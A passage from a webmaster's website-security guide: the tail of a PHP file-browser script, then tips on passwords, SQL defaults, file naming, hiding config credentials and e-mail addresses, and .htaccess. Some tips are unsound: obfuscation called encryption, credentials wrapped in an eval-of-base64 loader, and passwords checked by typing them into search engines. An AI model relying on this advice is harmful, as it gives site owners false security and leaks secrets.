<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">type</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">file</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">name</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$file</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"></form></td></span>
<span style="color: #BA2121"></tr>"</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</table></span>
<span style="color: #BA2121"></div>'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</span>
<span style="color: #BA2121"></body></span>
<span style="color: #BA2121"></html>'</span>;
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">perms</span>(<span style="color: #19177C">$file</span>) {
<span style="color: #19177C">$perms</span> <span style="color: #666666">=</span> <span style="color: #008000">fileperms</span>(<span style="color: #19177C">$file</span>);
<span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0xC000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0xC000</span>) {
<span style="color: #408080; font-style: italic">// Socket</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'s'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0xA000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0xA000</span>) {
<span style="color: #408080; font-style: italic">// Symbolic Link</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'l'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x8000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x8000</span>) {
<span style="color: #408080; font-style: italic">// Regular</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'-'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x6000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x6000</span>) {
<span style="color: #408080; font-style: italic">// Block special</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'b'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x4000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x4000</span>) {
<span style="color: #408080; font-style: italic">// Directory</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'d'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x2000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x2000</span>) {
<span style="color: #408080; font-style: italic">// Character special</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'c'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x1000</span>) <span style="color: #666666">==</span> <span style="color: #666666">0x1000</span>) {
<span style="color: #408080; font-style: italic">// FIFO pipe</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'p'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #408080; font-style: italic">// Unknown</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">=</span> <span style="color: #BA2121">'u'</span>;
}
<span style="color: #408080; font-style: italic">// Owner</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0100</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'r'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0080</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'w'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0040</span>) <span style="color: #666666">?</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0800</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'s'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'x'</span>) <span style="color: #666666">:</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0800</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'S'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>));
<span style="color: #408080; font-style: italic">// Group</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0020</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'r'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0010</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'w'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0008</span>) <span style="color: #666666">?</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0400</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'s'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'x'</span>) <span style="color: #666666">:</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0400</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'S'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>));
<span style="color: #408080; font-style: italic">// World</span>
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0004</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'r'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0002</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'w'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>);
<span style="color: #19177C">$info</span> <span style="color: #666666">.=</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0001</span>) <span style="color: #666666">?</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0200</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'t'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'x'</span>) <span style="color: #666666">:</span> ((<span style="color: #19177C">$perms</span> <span style="color: #666666">&</span> <span style="color: #666666">0x0200</span>) <span style="color: #666666">?</span> <span style="color: #BA2121">'T'</span> <span style="color: #666666">:</span> <span style="color: #BA2121">'-'</span>));
<span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$info</span>;
}
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">telFichBin</span>(<span style="color: #19177C">$telfich</span>){
header(<span style="color: #BA2121">'Content-Description: File Transfer'</span>);
header(<span style="color: #BA2121">'Content-Type: application/octet-stream'</span>);
header(<span style="color: #BA2121">'Content-Disposition: attachment; filename="'</span><span style="color: #666666">.</span><span style="color: #008000">basename</span>(<span style="color: #19177C">$telfich</span>)<span style="color: #666666">.</span><span style="color: #BA2121">'"'</span>);
header(<span style="color: #BA2121">'Expires: 0'</span>);
header(<span style="color: #BA2121">'Cache-Control: must-revalidate'</span>);
header(<span style="color: #BA2121">'Pragma: public'</span>);
header(<span style="color: #BA2121">'Content-Length: '</span> <span style="color: #666666">.</span> <span style="color: #008000">filesize</span>(<span style="color: #19177C">$telfich</span>));
<span style="color: #008000">ob_clean</span>();
<span style="color: #008000">flush</span>();
<span style="color: #008000">readfile</span>(<span style="color: #19177C">$telfich</span>);
<span style="color: #008000; font-weight: bold">exit</span>;
}
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">cheminWeb</span>(<span style="color: #19177C">$fich</span>) {
<span style="color: #19177C">$document_racine</span> <span style="color: #666666">=</span> <span style="color: #008000">rtrim</span>(<span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"#([</span><span style="color: #BB6622; font-weight: bold">\\\\</span><span style="color: #BA2121">/]+)#"</span>, <span style="color: #BA2121">'/'</span>, <span style="color: #19177C">$_SERVER</span>[<span style="color: #BA2121">'DOCUMENT_ROOT'</span>]), <span style="color: #BA2121">'/'</span>);
<span style="color: #19177C">$fich</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"#([</span><span style="color: #BB6622; font-weight: bold">\\\\</span><span style="color: #BA2121">/]+)#"</span>, <span style="color: #BA2121">'/'</span>, <span style="color: #008000">realpath</span>(<span style="color: #19177C">$fich</span>));
<span style="color: #008000; font-weight: bold">return</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"#^(</span><span style="color: #BB6688; font-weight: bold">$document_racine</span><span style="color: #BA2121">)#"</span>, <span style="color: #BA2121">''</span>, <span style="color: #19177C">$fich</span>);
}
<span style="color: #BC7A00">?></span>
</pre></div>
<a id="motpasse"></a><hr><br>
<header>
<h2>Passwords</h2>
</header>
<p>Protect your passwords.<br>
They can try to penetrate your hosting by guessing your FTP or SQL password. If you change the passwords, please respect the following rules:<br>
<strong>1-</strong> A password must be at least 12 characters long, the longer the better.<br>
<strong>2-</strong> It should never be a word found in the dictionary of any language. Password cracking software has dictionaries of hundreds of thousands of words of all languages and searches for all combinations. It takes from a few minutes to a few hours to crack these passwords very easily.<br>
<strong>3-</strong> A good password contains upper- and lower-case letters, numbers and non-alphanumeric characters (such as punctuation marks).<br>
<strong>4-</strong> <strong>NEVER USE THE SAME PASSWORD for FTP, SQL database, e-mail, website administration interface</strong>. The hacker <strong>KNOWS</strong> that if he finds your password, chances are it is the same password somewhere else. Many hosting providers offer a unique password to “simplify” the management.</p>
<p>Some softwares create unique and random passwords and manage them for you (look at <a href="https://bitwarden.com">Bitwarden</a>, <a href="https://www.keepassx.org">KeepassX</a> and <a href="https://keepass.info">Keepass</a>, <a href="https://1password.com/">1Password</a>, <a href="https://www.dashlane.com/">Dashlane</a>, <a href="https://www.lastpass.com/fr">LastPass</a>…). That is the best solution because you don't have to memorize anything. <br>
You can create this list yourself in a password-protected file and copy and paste the data for each login form. To simplify this task, you can also choose to trust your web browser to save your unique passwords, synchronize your data between your devices and fill in the form field for you each time you log in with the correct password. To generate these unique passwords, see for example these websites:<br>
<a href="https://www.motdepasse.xyz">https://www.motdepasse.xyz</a><br>
<a href="https://www.vpnmentor.com/tools/secure-password-generator/">https://www.vpnmentor.com/tools/secure-password-generator/</a><br>
<a href="https://www.comparitech.com/privacy-security-tools/password-strength-test/">https://www.comparitech.com/privacy-security-tools/password-strength-test/</a></p>
<p> These websites offer phonetic passwords, creating words that are easy to remember:<br>
<a href="https://www.dashlane.com/features/password-generator">https://www.dashlane.com/features/password-generator</a> (Dashlane)<br>
<a href="https://www.lastpass.com/password-generator">https://www.lastpass.com/password-generator</a> (LastPass)<br>
<a href="https://tools.arantius.com/password">https://tools.arantius.com/password</a></p>
<p>To be sure that a memorable or phonetic password does not exist in any language, type it in part or in full in a search engine. If it returns no results, then your password is not a dictionary word.</p>
<a id="installsql"></a><hr><br>
<header>
<h2>Installing an SQL database</h2>
</header>
<p>When you install your CMS, blog or e-commerce for the first time, it comes with default settings and parameters that we accept each time. In case of a flaw, the hacker can use these default settings and parameters to penetrate your SQL database and modify it.</p>
<p>Here are a few tips to prevent this kind of SQL injection attack from being possible. There are several types of SQL injections. Rule 3 of .htaccess stops another form. Otherwise, the real protection against SQL injections is good coding.</p>
<p><strong>1-</strong> When you install your CMS, blog or e-commerce, it provides the login “admin” and asks you to enter a password. If possible, change “admin” for something else, a nickname for example. A hacker knows that the default login is “admin” and will run his scripts only on the password. But if the login “admin” does not exist, he has no chance to penetrate the system.<br>
Sometimes you have to make this modification in phpMyadmin. But be careful, you must be sure that it will not break your database. Ask the question on the editor's forum of your CMS, blog or e-commerce to find out if it is possible.</p>
<p><strong>2-</strong> The first user is therefore the administrator and always has the ID 1. In the event that the login is not “admin”, some scripts may try to find out the password of user number 1, which is, in 99.99% of cases, the administrator. If possible, delete user number 1 on the list and be the administrator with the number 2 or 15 or 250.<br>
Sometimes you have to make this modification in phpMyadmin. But be careful, you must be sure that it will not break your database. Ask the question on the editor's forum of your CMS, blog or e-commerce to find out if it is possible.</p>
<p><strong>3-</strong> During installation, your CMS, blog or e-commerce asks you to choose a prefix for the table names. We always accept the default prefix as wp_ for Wordpress, g2_ for Gallery2, dc_ for DotClear, phpbb_ for phpBB, etc. The cracker can search the table with the list of users and their passwords. If, like everyone else, you have not changed the prefix, it will be easy for him to find the table. So, change the prefix of your SQL tables for more security. You can do this after installation. Sometimes it is necessary to do this modification in phpMyadmin. But be careful, you have to be sure that it won't break your database. Ask the question on the editor's forum of your CMS, blog or e-commerce to find out if it is possible.<br>
For example, with Wordpress in the event you change the prefix after installation, you also need to change 2 entries in the database and in the wp-config.php file, see their forums to know how to do this.</p>
<p><strong>My advice: <span style="color:#008080;">ALWAYS CHANGE THE DEFAULT SETTINGS!</span></strong></p>
<a id="nommage"></a><hr><br>
<header>
<h2>File naming</h2>
</header>
<p>To prevent hacker bots from finding you through Google, change some habits, such as the name and URL of particular files.</p>
<p>1- Do not call the contact form page: mail.php or contact.html. Call it something else with its equivalent in other languages. Spam robots will have more trouble finding a contact form to hack and send spam thanks to a flaw in your mail script.<br>
Do the same thing with other files: no login.php, admin.php, download.php (they will look for the vulnerability to download a file out of its directory), etc. As a general rule, avoid these common English words.</p>
<p>2- Spammers aren't idiots. Also change some of the names on the form. In the INPUT html tags, change the NAME attribute that contains words like “e-mail”, “mail”, “name” or “subject” by their counterpart in other languages. Make this change in the HTML form and in your php or cgi script.</p>
<p>3- Avoid giving the name of your CMS, blog or e-commerce directly in the URL such as www.domain.tld/admin/ or www.domain.tld/login/ or www.domain.tld/blog/ or www.domain.tld/forum/ or www.domain.tld/shop/. Spammers and hackers look for these URLs to target for an attack. Be more creative for your security. The best is to avoid the English word and to prefer its equivalent in other languages.</p>
<a id="cryptconfig"></a><hr><br>
<header>
<h2>Encrypt your config.inc.php file</h2>
</header>
<p>Despite all precautions, the hacker has penetrated your site and is now trying to find out the login and password of your MySQL database in order to hack it, empty it and take control of it. The hacker's task can be complicated by encrypting this sensitive data. The web server will be able to read this information easily, but it will not be readable directly by a human. <br>
For a PHP expert, this protection only lasts 2 minutes, it makes him work harder, but we are not here to make it easier for him?</p>
<p>Visit this website and encrypt your data. <br>
<a href="http://www.phpencode.org">www.phpencode.org</a> or <a href="http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php">www.mobilefish.com/services/php_obfuscator/php_obfuscator.php</a> or look for a “PHP Obfuscator”.</p>
<p>For example, my config.php file contains this:</p>
<span class="smallfont">Code PHP:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/* MySQL settings */</span>
<span style="color: #19177C">$db_server</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"serveursql"</span>;
<span style="color: #19177C">$db_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"nombasesql"</span>;
<span style="color: #19177C">$db_username</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"loginsql"</span>;
<span style="color: #19177C">$db_password</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"motdepasse"</span>;
<span style="color: #BC7A00">?></span>
</pre></div>
<p>I copy the part to be encoded between the tags <?php and ?><br>
I choose the "PHP Extrastrength" encoding. Don't look for a higher encoding, I sometimes found errors on web servers.<br>
I copy the long line that starts with eval(xxxx between tags <? and ?> and paste it into the config.inc.php file, which gives:</p>
<span class="smallfont">Code PHP:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #008000; font-weight: bold">eval</span>(<span style="color: #008000">gzuncompress</span>(<span style="color: #008000">gzinflate</span>(<span style="color: #008000">base64_decode</span>(<span style="color: #BA2121">'AW4Akf942k3LTQqAIBQE4H3QHQZp5cYDRDeoRXSAMHyIkFo+K7p9f5t2w3wzSkmJ7hz6Fkw5u2AZUipVFpWZRqa0UwLQQLx5S7zOov40aE/ApyH6STP9dLsP7+LWOVoXfrZo5iMm85iP2dBTkKgv8oMsVg=='</span>))));
<span style="color: #BC7A00">?></span>
</pre></div>
<p>This way, you can hide all sensitive information.</p>
<p>And assign by FTP the permissions 404 or 444 to your config.inc.php file (or equivalent) if possible.</p>
<a id="cryptmail"></a><hr><br>
<header>
<h2>Encrypt your email address</h2>
</header>
<p>If you have no choice but to display an e-mail address on your website, you have 2 solutions:</p>
<p><strong>1-</strong> Create an image file (svg, png, jpeg) with your address written on it. It is not text, spam robots will not see it.</p>
<p><strong>2-</strong> Encrypt your e-mail address with javascript. I have been using this method for years and these addresses have never been spammed. Go to this website <a href="http://www.jottings.com/obfuscator/">www.jottings.com/obfuscator/</a> or <a href="https://jumk.de/nospam/stopspam.html">jumk.de/nospam/</a> to get your address encrypted.<br>
To go even further, instead of integrating this code into your html page, we will call it from a javascript file. The advantage is that if the address is present on several pages, you only have to modify once.<br>
Create a folder called “js” and we will put a file in it called “address.js”. Copy in this file the javascript code line of your encrypted e-mail address which starts with “var …”. For example:</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">var g6="";for(var z1=0;z1<335;z1++)g6+=String.fromCharCode(("{fw%}<B\'m3xnmya\'Bwj {tjxztrst%a\'a\'B kjwm%fA,0.a\'a\'1l4 4-jhfqujw3,?tyqnfr,aaBkjw ,ViqyVj755zaajsVnfrtistr5955zaantr,ztjxztrst%Sa\',aa,0.a\'a\'1l4V4-jhfqujw3str@5955}(+ntrCa\',aa,aaBkjwm3xnmya\'By4-jhfqujw3,Cf4AiqyS@j7}(+jsnfrSti.b5`ba\'a\'`1l4S\'@z5B\'\'@ktw-{fw%u<B5@u<A}<3qjslym@u<0B88.z50B}<3xzgxyw-u<188.3xuqny-\'\'.3wj{jwxj-.3otns-\'\'.@j{fq-z5.".charCodeAt(z1)-(-59+64)+24+39)%(5*2+85)+-45+77);document.write(eval(g6))</pre>
<p>Then, in your html page, copy the following code:</p>
<span class="smallfont">Code HTML:</span>
<pre class="smallfont code"><span style="color:#800000"><script src=<span style="color:#0000FF">"js/address.js"</span> type=<span style="color:#0000FF">"text/javascript"</span>></span><span style="color:#800000"></script></span></pre>
<a id="adressmail"></a><hr><br>
<header>
<h2>E-mail addresses to avoid</h2>
</header>
<p>More to do with spam than hacking, email addresses with the most common prefixes are spammed automatically (because they are more likely to exist). Therefore, avoid creating addresses with the following names:<br>
webmaster@ admin@ contact@ email@ mail@ info@ sales@ support@ root@ www@ abuse@ news@</p>
<p>I used contact@ and info@ without ever putting them on the web, but the amount of spam was becoming unbearable. In short, for spam as for hacking, you have to avoid intellectual laziness and default settings.</p>
<a id="dossierpasse"></a><hr><br>
<header>
<h2>Protecting a folder with a password</h2>
</header>
<p>Apache password protection using a “.htaccess” and a “.htpasswd” file is very effective. There are several how-to guides available (for example <a href="https://httpd.apache.org/docs/2.4/en/programs/htpasswd.html">here</a>). Encrypt your password with the “bcrypt” method. The classic “crypt” and “sha-1” methods are no longer secure. You can encrypt your password with “bcrypt” online <a href="https://bcrypt-generator.com/">here</a> or <a href="https://github.com/fpirsch/twin-bcrypt">offline</a>.</p>
<p>To do this, first create a “.htaccess” file in the directory you want to protect, and copy the code below. Note that the path to the “.htpasswd” file, the one containing the login and password, can be placed anywhere in the hosting. You don't have to put it in the same directory as “.htaccess”.</p>